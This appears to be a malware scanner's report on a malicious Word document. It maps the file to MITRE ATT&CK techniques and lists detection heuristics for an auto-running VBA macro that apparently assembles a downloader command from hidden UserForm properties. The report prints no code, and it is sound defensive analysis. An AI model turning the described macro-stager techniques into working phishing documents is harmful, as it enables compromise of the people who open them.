MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The presence of these elements suggests the macro is designed to execute automatically upon opening the document, likely to download and run a secondary payload. The ClamAV detection further supports the malicious classification.

Heuristics 8

ClamAV: Doc.Malware.Sagent-7465787-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Sagent-7465787-0
VBA macros detected medium 5 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Document_Open macro high OLE_VBA_DOCOPEN

CreateObject call high OLE_VBA_CREATEOBJ

GetObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
